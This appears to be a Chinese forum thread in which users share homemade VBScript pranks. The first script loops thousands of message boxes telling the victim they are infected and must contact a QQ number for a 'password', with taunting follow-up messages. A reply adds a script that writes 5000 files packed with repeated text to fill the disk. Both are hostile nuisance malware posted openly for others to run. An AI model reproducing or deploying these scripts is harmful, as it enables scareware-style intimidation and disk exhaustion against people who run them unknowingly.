简单的自创程序

大家有好的建议请告诉我我会改的

嘿嘿

顶

顶

顶

别沉了

有人评论我就立马发！

好无聊

发了吧，唉~

k=1
do while k<5000
msgbox"你已经中毒啦，要密码找qq1040542280"
if k=5 then
msgbox"点了五次是不是没用啊？哈哈，早点加我qq找密码吧"
end if
if k=19 then
msgbox"哼哼，敢不找？慢慢点吧！"
end if
k=k+1
loop

记得支持我，并且指点一下,看完请评论

找什么密码？

Dim I,T,t_i
Do Until t_i=50000
t_i=t_i+1
T=T+"滑稽 "
Loop
Do
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.OpenTextFile(I&".滑稽", 2, True, -2)
f.Write T
f.Close
I=I+1
If I = 5000 then
Exit Do
End If
Loop

无懈可击！